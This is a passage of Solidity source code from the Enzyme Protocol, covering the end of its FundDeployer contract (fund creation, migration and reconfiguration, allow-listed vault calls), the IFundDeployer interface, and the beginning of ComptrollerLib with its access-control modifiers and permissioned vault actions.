/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while signaling migration
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createMigrationRequest(
address _vaultProxy,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData,
bool _bypassPrevReleaseFailure
)
external
onlyLiveRelease
onlyMigratorNotRelayable(_vaultProxy)
returns (address comptrollerProxy_)
{
// Bad _vaultProxy value is validated by Dispatcher.signalMigration()
require(
!IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy),
"createMigrationRequest: A MigrationRequest already exists"
);
comptrollerProxy_ = __deployComptrollerProxy(
msg.sender,
_denominationAsset,
_sharesActionTimelock
);
IComptroller(comptrollerProxy_).setVaultProxy(_vaultProxy);
__configureExtensions(
comptrollerProxy_,
_vaultProxy,
_feeManagerConfigData,
_policyManagerConfigData
);
IDispatcher(getDispatcher()).signalMigration(
_vaultProxy,
comptrollerProxy_,
getVaultLib(),
_bypassPrevReleaseFailure
);
emit MigrationRequestCreated(msg.sender, _vaultProxy, comptrollerProxy_);
return comptrollerProxy_;
}
/// @notice Creates a new fund
/// @param _fundOwner The address of the owner for the fund
/// @param _fundName The name of the fund's shares token
/// @param _fundSymbol The symbol of the fund's shares token
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createNewFund(
address _fundOwner,
string calldata _fundName,
string calldata _fundSymbol,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external onlyLiveRelease returns (address comptrollerProxy_, address vaultProxy_) {
// _fundOwner is validated by VaultLib.__setOwner()
address canonicalSender = __msgSender();
comptrollerProxy_ = __deployComptrollerProxy(
canonicalSender,
_denominationAsset,
_sharesActionTimelock
);
vaultProxy_ = __deployVaultProxy(_fundOwner, comptrollerProxy_, _fundName, _fundSymbol);
IComptroller comptrollerContract = IComptroller(comptrollerProxy_);
comptrollerContract.setVaultProxy(vaultProxy_);
__configureExtensions(
comptrollerProxy_,
vaultProxy_,
_feeManagerConfigData,
_policyManagerConfigData
);
comptrollerContract.activate(false);
IProtocolFeeTracker(getProtocolFeeTracker()).initializeForVault(vaultProxy_);
emit NewFundCreated(canonicalSender, vaultProxy_, comptrollerProxy_);
return (comptrollerProxy_, vaultProxy_);
}
/// @notice Creates a fully-configured ComptrollerProxy instance for a VaultProxy and signals the reconfiguration process
/// @param _vaultProxy The VaultProxy to reconfigure
/// @param _denominationAsset The contract address of the denomination asset for the fund
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund
/// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund
/// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action
function createReconfigurationRequest(
address _vaultProxy,
address _denominationAsset,
uint256 _sharesActionTimelock,
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external returns (address comptrollerProxy_) {
address canonicalSender = __msgSender();
__assertIsMigrator(_vaultProxy, canonicalSender);
require(
IDispatcher(getDispatcher()).getFundDeployerForVaultProxy(_vaultProxy) ==
address(this),
"createReconfigurationRequest: VaultProxy not on this release"
);
require(
!hasReconfigurationRequest(_vaultProxy),
"createReconfigurationRequest: VaultProxy has a pending reconfiguration request"
);
comptrollerProxy_ = __deployComptrollerProxy(
canonicalSender,
_denominationAsset,
_sharesActionTimelock
);
IComptroller(comptrollerProxy_).setVaultProxy(_vaultProxy);
__configureExtensions(
comptrollerProxy_,
_vaultProxy,
_feeManagerConfigData,
_policyManagerConfigData
);
uint256 executableTimestamp = block.timestamp + getReconfigurationTimelock();
vaultProxyToReconfigurationRequest[_vaultProxy] = ReconfigurationRequest({
nextComptrollerProxy: comptrollerProxy_,
executableTimestamp: executableTimestamp
});
emit ReconfigurationRequestCreated(
canonicalSender,
_vaultProxy,
comptrollerProxy_,
executableTimestamp
);
return comptrollerProxy_;
}
/// @dev Helper function to configure the Extensions for a given ComptrollerProxy
function __configureExtensions(
address _comptrollerProxy,
address _vaultProxy,
bytes memory _feeManagerConfigData,
bytes memory _policyManagerConfigData
) private {
// Since fees can only be set in this step, if there are no fees, there is no need to set the validated VaultProxy
if (_feeManagerConfigData.length > 0) {
IExtension(IComptroller(_comptrollerProxy).getFeeManager()).setConfigForFund(
_comptrollerProxy,
_vaultProxy,
_feeManagerConfigData
);
}
// For all other extensions, we call to cache the validated VaultProxy, for simplicity.
// In the future, we can consider caching conditionally.
IExtension(IComptroller(_comptrollerProxy).getExternalPositionManager()).setConfigForFund(
_comptrollerProxy,
_vaultProxy,
""
);
IExtension(IComptroller(_comptrollerProxy).getIntegrationManager()).setConfigForFund(
_comptrollerProxy,
_vaultProxy,
""
);
IExtension(IComptroller(_comptrollerProxy).getPolicyManager()).setConfigForFund(
_comptrollerProxy,
_vaultProxy,
_policyManagerConfigData
);
}
/// @dev Helper function to deploy a configured ComptrollerProxy
function __deployComptrollerProxy(
address _canonicalSender,
address _denominationAsset,
uint256 _sharesActionTimelock
) private returns (address comptrollerProxy_) {
// _denominationAsset is validated by ComptrollerLib.init()
bytes memory constructData = abi.encodeWithSelector(
IComptroller.init.selector,
_denominationAsset,
_sharesActionTimelock
);
comptrollerProxy_ = address(new ComptrollerProxy(constructData, getComptrollerLib()));
emit ComptrollerProxyDeployed(
_canonicalSender,
comptrollerProxy_,
_denominationAsset,
_sharesActionTimelock
);
return comptrollerProxy_;
}
/// @dev Helper to deploy a new VaultProxy instance during fund creation.
/// Avoids stack-too-deep error.
function __deployVaultProxy(
address _fundOwner,
address _comptrollerProxy,
string calldata _fundName,
string calldata _fundSymbol
) private returns (address vaultProxy_) {
vaultProxy_ = IDispatcher(getDispatcher()).deployVaultProxy(
getVaultLib(),
_fundOwner,
_comptrollerProxy,
_fundName
);
if (bytes(_fundSymbol).length != 0) {
IVault(vaultProxy_).setSymbol(_fundSymbol);
}
return vaultProxy_;
}
///////////////////////////////////////////////
// RECONFIGURATION (INTRA-RELEASE MIGRATION) //
///////////////////////////////////////////////
/// @notice Cancels a pending reconfiguration request
/// @param _vaultProxy The VaultProxy contract for which to cancel the reconfiguration request
function cancelReconfiguration(address _vaultProxy) external onlyMigrator(_vaultProxy) {
address nextComptrollerProxy = vaultProxyToReconfigurationRequest[_vaultProxy]
.nextComptrollerProxy;
require(
nextComptrollerProxy != address(0),
"cancelReconfiguration: No reconfiguration request exists for _vaultProxy"
);
// Destroy the nextComptrollerProxy
IComptroller(nextComptrollerProxy).destructUnactivated();
// Remove the reconfiguration request
delete vaultProxyToReconfigurationRequest[_vaultProxy];
emit ReconfigurationRequestCancelled(_vaultProxy, nextComptrollerProxy);
}
/// @notice Executes a pending reconfiguration request
/// @param _vaultProxy The VaultProxy contract for which to execute the reconfiguration request
/// @dev ProtocolFeeTracker.initializeForVault() does not need to be included in a reconfiguration,
/// as it refers to the vault and not the new ComptrollerProxy
function executeReconfiguration(address _vaultProxy) external onlyMigrator(_vaultProxy) {
ReconfigurationRequest memory request = getReconfigurationRequestForVaultProxy(
_vaultProxy
);
require(
request.nextComptrollerProxy != address(0),
"executeReconfiguration: No reconfiguration request exists for _vaultProxy"
);
require(
block.timestamp >= request.executableTimestamp,
"executeReconfiguration: The reconfiguration timelock has not elapsed"
);
// Not technically necessary, but a nice assurance
require(
IDispatcher(getDispatcher()).getFundDeployerForVaultProxy(_vaultProxy) ==
address(this),
"executeReconfiguration: _vaultProxy is no longer on this release"
);
// Unwind and destroy the prevComptrollerProxy before setting the nextComptrollerProxy as the VaultProxy.accessor
address prevComptrollerProxy = IVault(_vaultProxy).getAccessor();
address paymaster = IComptroller(prevComptrollerProxy).getGasRelayPaymaster();
__destructActivatedComptrollerProxy(prevComptrollerProxy);
// Execute the reconfiguration
IVault(_vaultProxy).setAccessorForFundReconfiguration(request.nextComptrollerProxy);
// Activate the new ComptrollerProxy
IComptroller(request.nextComptrollerProxy).activate(true);
if (paymaster != address(0)) {
IComptroller(request.nextComptrollerProxy).setGasRelayPaymaster(paymaster);
}
// Remove the reconfiguration request
delete vaultProxyToReconfigurationRequest[_vaultProxy];
emit ReconfigurationRequestExecuted(
_vaultProxy,
prevComptrollerProxy,
request.nextComptrollerProxy
);
}
/// @notice Sets a new reconfiguration timelock
/// @param _nextTimelock The number of seconds for the new timelock
function setReconfigurationTimelock(uint256 _nextTimelock) external onlyOwner {
reconfigurationTimelock = _nextTimelock;
emit ReconfigurationTimelockSet(_nextTimelock);
}
//////////////////
// MIGRATION IN //
//////////////////
/// @notice Cancels fund migration
/// @param _vaultProxy The VaultProxy for which to cancel migration
/// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while canceling migration
function cancelMigration(address _vaultProxy, bool _bypassPrevReleaseFailure)
external
onlyMigratorNotRelayable(_vaultProxy)
{
IDispatcher(getDispatcher()).cancelMigration(_vaultProxy, _bypassPrevReleaseFailure);
}
/// @notice Executes fund migration
/// @param _vaultProxy The VaultProxy for which to execute the migration
/// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while executing migration
function executeMigration(address _vaultProxy, bool _bypassPrevReleaseFailure)
external
onlyMigratorNotRelayable(_vaultProxy)
{
IDispatcher dispatcherContract = IDispatcher(getDispatcher());
(, address comptrollerProxy, , ) = dispatcherContract
.getMigrationRequestDetailsForVaultProxy(_vaultProxy);
dispatcherContract.executeMigration(_vaultProxy, _bypassPrevReleaseFailure);
IComptroller(comptrollerProxy).activate(true);
IProtocolFeeTracker(getProtocolFeeTracker()).initializeForVault(_vaultProxy);
}
/// @notice Executes logic when a migration is canceled on the Dispatcher
/// @param _nextComptrollerProxy The ComptrollerProxy created on this release
function invokeMigrationInCancelHook(
address,
address,
address _nextComptrollerProxy,
address
) external override onlyDispatcher {
IComptroller(_nextComptrollerProxy).destructUnactivated();
}
///////////////////
// MIGRATION OUT //
///////////////////
/// @notice Allows "hooking into" specific moments in the migration pipeline
/// to execute arbitrary logic during a migration out of this release
/// @param _vaultProxy The VaultProxy being migrated
function invokeMigrationOutHook(
MigrationOutHook _hook,
address _vaultProxy,
address,
address,
address
) external override onlyDispatcher {
if (_hook != MigrationOutHook.PreMigrate) {
return;
}
// Must use PreMigrate hook to get the ComptrollerProxy from the VaultProxy
address comptrollerProxy = IVault(_vaultProxy).getAccessor();
// Wind down fund and destroy its config
__destructActivatedComptrollerProxy(comptrollerProxy);
}
//////////////
// REGISTRY //
//////////////
// BUY SHARES CALLERS
/// @notice Deregisters allowed callers of ComptrollerProxy.buySharesOnBehalf()
/// @param _callers The callers to deregister
function deregisterBuySharesOnBehalfCallers(address[] calldata _callers) external onlyOwner {
for (uint256 i; i < _callers.length; i++) {
require(
isAllowedBuySharesOnBehalfCaller(_callers[i]),
"deregisterBuySharesOnBehalfCallers: Caller not registered"
);
acctToIsAllowedBuySharesOnBehalfCaller[_callers[i]] = false;
emit BuySharesOnBehalfCallerDeregistered(_callers[i]);
}
}
/// @notice Registers allowed callers of ComptrollerProxy.buySharesOnBehalf()
/// @param _callers The allowed callers
/// @dev Validate that each registered caller only forwards requests to buy shares that
/// originate from the same _buyer passed into buySharesOnBehalf(). This is critical
/// to the integrity of VaultProxy.freelyTransferableShares.
function registerBuySharesOnBehalfCallers(address[] calldata _callers) external onlyOwner {
for (uint256 i; i < _callers.length; i++) {
require(
!isAllowedBuySharesOnBehalfCaller(_callers[i]),
"registerBuySharesOnBehalfCallers: Caller already registered"
);
acctToIsAllowedBuySharesOnBehalfCaller[_callers[i]] = true;
emit BuySharesOnBehalfCallerRegistered(_callers[i]);
}
}
// VAULT CALLS
/// @notice De-registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to de-register
/// @param _selectors The selectors of the calls to de-register
/// @param _dataHashes The keccak call data hashes of the calls to de-register
/// @dev ANY_VAULT_CALL is a wildcard that allows any payload
function deregisterVaultCalls(
address[] calldata _contracts,
bytes4[] calldata _selectors,
bytes32[] memory _dataHashes
) external onlyOwner {
require(_contracts.length > 0, "deregisterVaultCalls: Empty _contracts");
require(
_contracts.length == _selectors.length && _contracts.length == _dataHashes.length,
"deregisterVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
isRegisteredVaultCall(_contracts[i], _selectors[i], _dataHashes[i]),
"deregisterVaultCalls: Call not registered"
);
vaultCallToPayloadToIsAllowed[keccak256(
abi.encodePacked(_contracts[i], _selectors[i])
)][_dataHashes[i]] = false;
emit VaultCallDeregistered(_contracts[i], _selectors[i], _dataHashes[i]);
}
}
/// @notice Registers allowed arbitrary contract calls that can be sent from the VaultProxy
/// @param _contracts The contracts of the calls to register
/// @param _selectors The selectors of the calls to register
/// @param _dataHashes The keccak call data hashes of the calls to register
/// @dev ANY_VAULT_CALL is a wildcard that allows any payload
function registerVaultCalls(
address[] calldata _contracts,
bytes4[] calldata _selectors,
bytes32[] memory _dataHashes
) external onlyOwner {
require(_contracts.length > 0, "registerVaultCalls: Empty _contracts");
require(
_contracts.length == _selectors.length && _contracts.length == _dataHashes.length,
"registerVaultCalls: Uneven input arrays"
);
for (uint256 i; i < _contracts.length; i++) {
require(
!isRegisteredVaultCall(_contracts[i], _selectors[i], _dataHashes[i]),
"registerVaultCalls: Call already registered"
);
vaultCallToPayloadToIsAllowed[keccak256(
abi.encodePacked(_contracts[i], _selectors[i])
)][_dataHashes[i]] = true;
emit VaultCallRegistered(_contracts[i], _selectors[i], _dataHashes[i]);
}
}
///////////////////
// STATE GETTERS //
///////////////////
// EXTERNAL FUNCTIONS
/// @notice Checks if a contract call is allowed
/// @param _contract The contract of the call to check
/// @param _selector The selector of the call to check
/// @param _dataHash The keccak call data hash of the call to check
/// @return isAllowed_ True if the call is allowed
/// @dev A vault call is allowed if the _dataHash is specifically allowed,
/// or if any _dataHash is allowed
function isAllowedVaultCall(
address _contract,
bytes4 _selector,
bytes32 _dataHash
) external view override returns (bool isAllowed_) {
bytes32 contractFunctionHash = keccak256(abi.encodePacked(_contract, _selector));
return
vaultCallToPayloadToIsAllowed[contractFunctionHash][_dataHash] ||
vaultCallToPayloadToIsAllowed[contractFunctionHash][ANY_VAULT_CALL];
}
// PUBLIC FUNCTIONS
/// @notice Gets the `comptrollerLib` variable value
/// @return comptrollerLib_ The `comptrollerLib` variable value
function getComptrollerLib() public view returns (address comptrollerLib_) {
return comptrollerLib;
}
/// @notice Gets the `CREATOR` variable value
/// @return creator_ The `CREATOR` variable value
function getCreator() public view returns (address creator_) {
return CREATOR;
}
/// @notice Gets the `DISPATCHER` variable value
/// @return dispatcher_ The `DISPATCHER` variable value
function getDispatcher() public view returns (address dispatcher_) {
return DISPATCHER;
}
/// @notice Gets the amounts of gas to forward to each of the ComptrollerLib.destructActivated() external calls
/// @return deactivateFeeManagerGasLimit_ The amount of gas to forward to deactivate the FeeManager
/// @return payProtocolFeeGasLimit_ The amount of gas to forward to pay the protocol fee
function getGasLimitsForDestructCall()
public
view
returns (uint256 deactivateFeeManagerGasLimit_, uint256 payProtocolFeeGasLimit_)
{
return (
gasLimitForDestructCallToDeactivateFeeManager,
gasLimitForDestructCallToPayProtocolFee
);
}
/// @notice Gets the `protocolFeeTracker` variable value
/// @return protocolFeeTracker_ The `protocolFeeTracker` variable value
function getProtocolFeeTracker() public view returns (address protocolFeeTracker_) {
return protocolFeeTracker;
}
/// @notice Gets the pending ReconfigurationRequest for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return reconfigurationRequest_ The pending ReconfigurationRequest
function getReconfigurationRequestForVaultProxy(address _vaultProxy)
public
view
returns (ReconfigurationRequest memory reconfigurationRequest_)
{
return vaultProxyToReconfigurationRequest[_vaultProxy];
}
/// @notice Gets the amount of time that must pass before executing a ReconfigurationRequest
/// @return reconfigurationTimelock_ The timelock value (in seconds)
function getReconfigurationTimelock() public view returns (uint256 reconfigurationTimelock_) {
return reconfigurationTimelock;
}
/// @notice Gets the `vaultLib` variable value
/// @return vaultLib_ The `vaultLib` variable value
function getVaultLib() public view returns (address vaultLib_) {
return vaultLib;
}
/// @notice Checks whether a ReconfigurationRequest exists for a given VaultProxy
/// @param _vaultProxy The VaultProxy instance
/// @return hasReconfigurationRequest_ True if a ReconfigurationRequest exists
function hasReconfigurationRequest(address _vaultProxy)
public
view
override
returns (bool hasReconfigurationRequest_)
{
return vaultProxyToReconfigurationRequest[_vaultProxy].nextComptrollerProxy != address(0);
}
/// @notice Checks if an account is an allowed caller of ComptrollerProxy.buySharesOnBehalf()
/// @param _who The account to check
/// @return isAllowed_ True if the account is an allowed caller
function isAllowedBuySharesOnBehalfCaller(address _who)
public
view
override
returns (bool isAllowed_)
{
return acctToIsAllowedBuySharesOnBehalfCaller[_who];
}
/// @notice Checks if a contract call is registered
/// @param _contract The contract of the call to check
/// @param _selector The selector of the call to check
/// @param _dataHash The keccak call data hash of the call to check
/// @return isRegistered_ True if the call is registered
function isRegisteredVaultCall(
address _contract,
bytes4 _selector,
bytes32 _dataHash
) public view returns (bool isRegistered_) {
return
vaultCallToPayloadToIsAllowed[keccak256(
abi.encodePacked(_contract, _selector)
)][_dataHash];
}
/// @notice Gets the `isLive` variable value
/// @return isLive_ The `isLive` variable value
function releaseIsLive() public view returns (bool isLive_) {
return isLive;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
function getOwner() external view returns (address);
function hasReconfigurationRequest(address) external view returns (bool);
function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool);
function isAllowedVaultCall(
address,
bytes4,
bytes32
) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../../persistent/external-positions/IExternalPosition.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymaster.sol";
import "../../../infrastructure/gas-relayer/IGasRelayPaymasterDepositor.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/beacon-proxy/IBeaconProxyFactory.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, IGasRelayPaymasterDepositor, GasRelayRecipientMixin {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event AutoProtocolFeeSharesBuybackSet(bool autoProtocolFeeSharesBuyback);
event BuyBackMaxProtocolFeeSharesFailed(
bytes indexed failureReturnData,
uint256 sharesAmount,
uint256 buybackValueInMln,
uint256 gav
);
event DeactivateFeeManagerFailed();
event GasRelayPaymasterSet(address gasRelayPaymaster);
event MigratedSharesDuePaid(uint256 sharesDue);
event PayProtocolFeeDuringDestructFailed();
event PreRedeemSharesHookFailed(
bytes indexed failureReturnData,
address indexed redeemer,
uint256 sharesAmount
);
event RedeemSharesInKindCalcGavFailed();
event SharesBought(
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
address indexed recipient,
uint256 sharesAmount,
address[] receivedAssets,
uint256[] receivedAssetAmounts
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant ONE_HUNDRED_PERCENT = 10000;
uint256 private constant SHARES_UNIT = 10**18;
address
private constant SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS = 0x000000000000000000000000000000000000aaaa;
address private immutable DISPATCHER;
address private immutable EXTERNAL_POSITION_MANAGER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable MLN_TOKEN;
address private immutable POLICY_MANAGER;
address private immutable PROTOCOL_FEE_RESERVE;
address private immutable VALUE_INTERPRETER;
address private immutable WETH_TOKEN;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Attempts to buy back protocol fee shares immediately after collection
bool internal autoProtocolFeeSharesBuyback;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock after the last time shares were bought for an account
// that must expire before that account transfers or redeems their shares
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesBoughtTimestamp;
// The contract which manages paying gas relayers
address private gasRelayPaymaster;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer();
_;
}
modifier onlyGasRelayPaymaster() {
__assertIsGasRelayPaymaster();
_;
}
modifier onlyOwner() {
__assertIsOwner(__msgSender());
_;
}
modifier onlyOwnerNotRelayable() {
__assertIsOwner(msg.sender);
_;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
function __assertIsFundDeployer() private view {
require(msg.sender == getFundDeployer(), "Only FundDeployer callable");
}
function __assertIsGasRelayPaymaster() private view {
require(msg.sender == getGasRelayPaymaster(), "Only Gas Relay Paymaster callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(getVaultProxy()).getOwner(), "Only fund owner callable");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _vaultProxy, address _account)
private
view
{
uint256 lastSharesBoughtTimestamp = getLastSharesBoughtTimestampForAccount(_account);
require(
lastSharesBoughtTimestamp == 0 ||
block.timestamp.sub(lastSharesBoughtTimestamp) >= getSharesActionTimelock() ||
__hasPendingMigrationOrReconfiguration(_vaultProxy),
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _protocolFeeReserve,
address _fundDeployer,
address _valueInterpreter,
address _externalPositionManager,
address _feeManager,
address _integrationManager,
address _policyManager,
address _gasRelayPaymasterFactory,
address _mlnToken,
address _wethToken
) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) {
DISPATCHER = _dispatcher;
EXTERNAL_POSITION_MANAGER = _externalPositionManager;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
MLN_TOKEN = _mlnToken;
POLICY_MANAGER = _policyManager;
PROTOCOL_FEE_RESERVE = _protocolFeeReserve;
VALUE_INTERPRETER = _valueInterpreter;
WETH_TOKEN = _wethToken;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override locksReentrance allowsPermissionedVaultAction {
require(
_extension == getFeeManager() ||
_extension == getIntegrationManager() ||
_extension == getExternalPositionManager(),
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(__msgSender(), _actionId, _callArgs);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
/// @return returnData_ The data returned by the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyOwner returns (bytes memory returnData_) {
require(
IFundDeployer(getFundDeployer()).isAllowedVaultCall(
_contract,
_selector,
keccak256(_encodedArgs)
),
"vaultCallOnContract: Not allowed"
);
return
IVault(getVaultProxy()).callOnContract(
_contract,
abi.encodePacked(_selector, _encodedArgs)
);
}
/// @dev Helper to check if a VaultProxy has a pending migration or reconfiguration request
function __hasPendingMigrationOrReconfiguration(address _vaultProxy)
private
view
returns (bool hasPendingMigrationOrReconfiguration)
{
return
IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy) ||
IFundDeployer(getFundDeployer()).hasReconfigurationRequest(_vaultProxy);
}
//////////////////
// PROTOCOL FEE //
//////////////////
/// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN
/// @param _sharesAmount The amount of shares to buy back
function buyBackProtocolFeeShares(uint256 _sharesAmount) external {
address vaultProxyCopy = vaultProxy;
require(
IVault(vaultProxyCopy).canManageAssets(__msgSender()),
"buyBackProtocolFeeShares: Unauthorized"
);
uint256 gav = calcGav();
IVault(vaultProxyCopy).buyBackProtocolFeeShares(
_sharesAmount,
__getBuybackValueInMln(vaultProxyCopy, _sharesAmount, gav),
gav
);
}
/// @notice Sets whether to attempt to buyback protocol fee shares immediately when collected
/// @param _nextAutoProtocolFeeSharesBuyback True if protocol fee shares should be attempted
/// to be bought back immediately when collected
function setAutoProtocolFeeSharesBuyback(bool _nextAutoProtocolFeeSharesBuyback)
external
onlyOwner
{
autoProtocolFeeSharesBuyback = _nextAutoProtocolFeeSharesBuyback;
emit AutoProtocolFeeSharesBuybackSet(_nextAutoProtocolFeeSharesBuyback);
}
/// @dev Helper to buyback the max available protocol fee shares, during an auto-buyback
function __buyBackMaxProtocolFeeShares(address _vaultProxy, uint256 _gav) private {
uint256 sharesAmount = ERC20(_vaultProxy).balanceOf(getProtocolFeeReserve());
uint256 buybackValueInMln = __getBuybackValueInMln(_vaultProxy, sharesAmount, _gav);
try
IVault(_vaultProxy).buyBackProtocolFeeShares(sharesAmount, buybackValueInMln, _gav)
{} catch (bytes memory reason) {
emit BuyBackMaxProtocolFeeSharesFailed(reason, sharesAmount, buybackValueInMln, _gav);
}
}
/// @dev Helper to buyback the max available protocol fee shares
function __getBuybackValueInMln(
address _vaultProxy,
uint256 _sharesAmount,
uint256 _gav
) private returns (uint256 buybackValueInMln_) {
address denominationAssetCopy = getDenominationAsset();
uint256 grossShareValue = __calcGrossShareValue(
_gav,
ERC20(_vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
uint256 buybackValueInDenominationAsset = grossShareValue.mul(_sharesAmount).div(
SHARES_UNIT
);
return
IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue(
denominationAssetCopy,
buybackValueInDenominationAsset,
getMlnToken()
);
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(IVault.VaultAction _action, bytes calldata _actionData)
external
override
{
__assertPermissionedVaultAction(msg.sender, _action);
// Validate action as needed
if (_action == IVault.VaultAction.RemoveTrackedAsset) {
require(
abi.decode(_actionData, (address)) != getDenominationAsset(),
"permissionedVaultAction: Cannot untrack denomination asset"
);
}
IVault(getVaultProxy()).receiveValidatedVaultAction(_action, _actionData);
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction.
/// Uses this pattern rather than multiple `require` statements to save on contract size.
function __assertPermissionedVaultAction(address _caller, IVault.VaultAction _action)
private
view
{
bool validAction;
if (permissionedVaultActionAllowed) {
// Calls are roughly ordered by likely frequency
if (_caller == getIntegrationManager()) {
if (
_action == IVault.VaultAction.AddTrackedAsset ||
_action == IVault.VaultAction.RemoveTrackedAsset ||
_action == IVault.VaultAction.WithdrawAssetTo ||
_action == IVault.VaultAction.ApproveAssetSpender
) {
validAction = true;
}
} else if (_caller == getFeeManager()) {
if (
_action == IVault.VaultAction.MintShares ||
_action == IVault.VaultAction.BurnShares ||
_action == IVault.VaultAction.TransferShares
) {
validAction = true;
}
} else if (_caller == getExternalPositionManager()) {
if (
_action == IVault.VaultAction.CallOnExternalPosition ||
_action == IVault.VaultAction.AddExternalPosition ||
_action == IVault.VaultAction.RemoveExternalPosition
) {
validAction = true;
}
}
}
require(validAction, "__assertPermissionedVaultAction: Action not allowed");
}
///////////////
// LIFECYCLE //
///////////////
// Ordered by execution in the lifecycle
/// @notice Initializes a fund with its core config
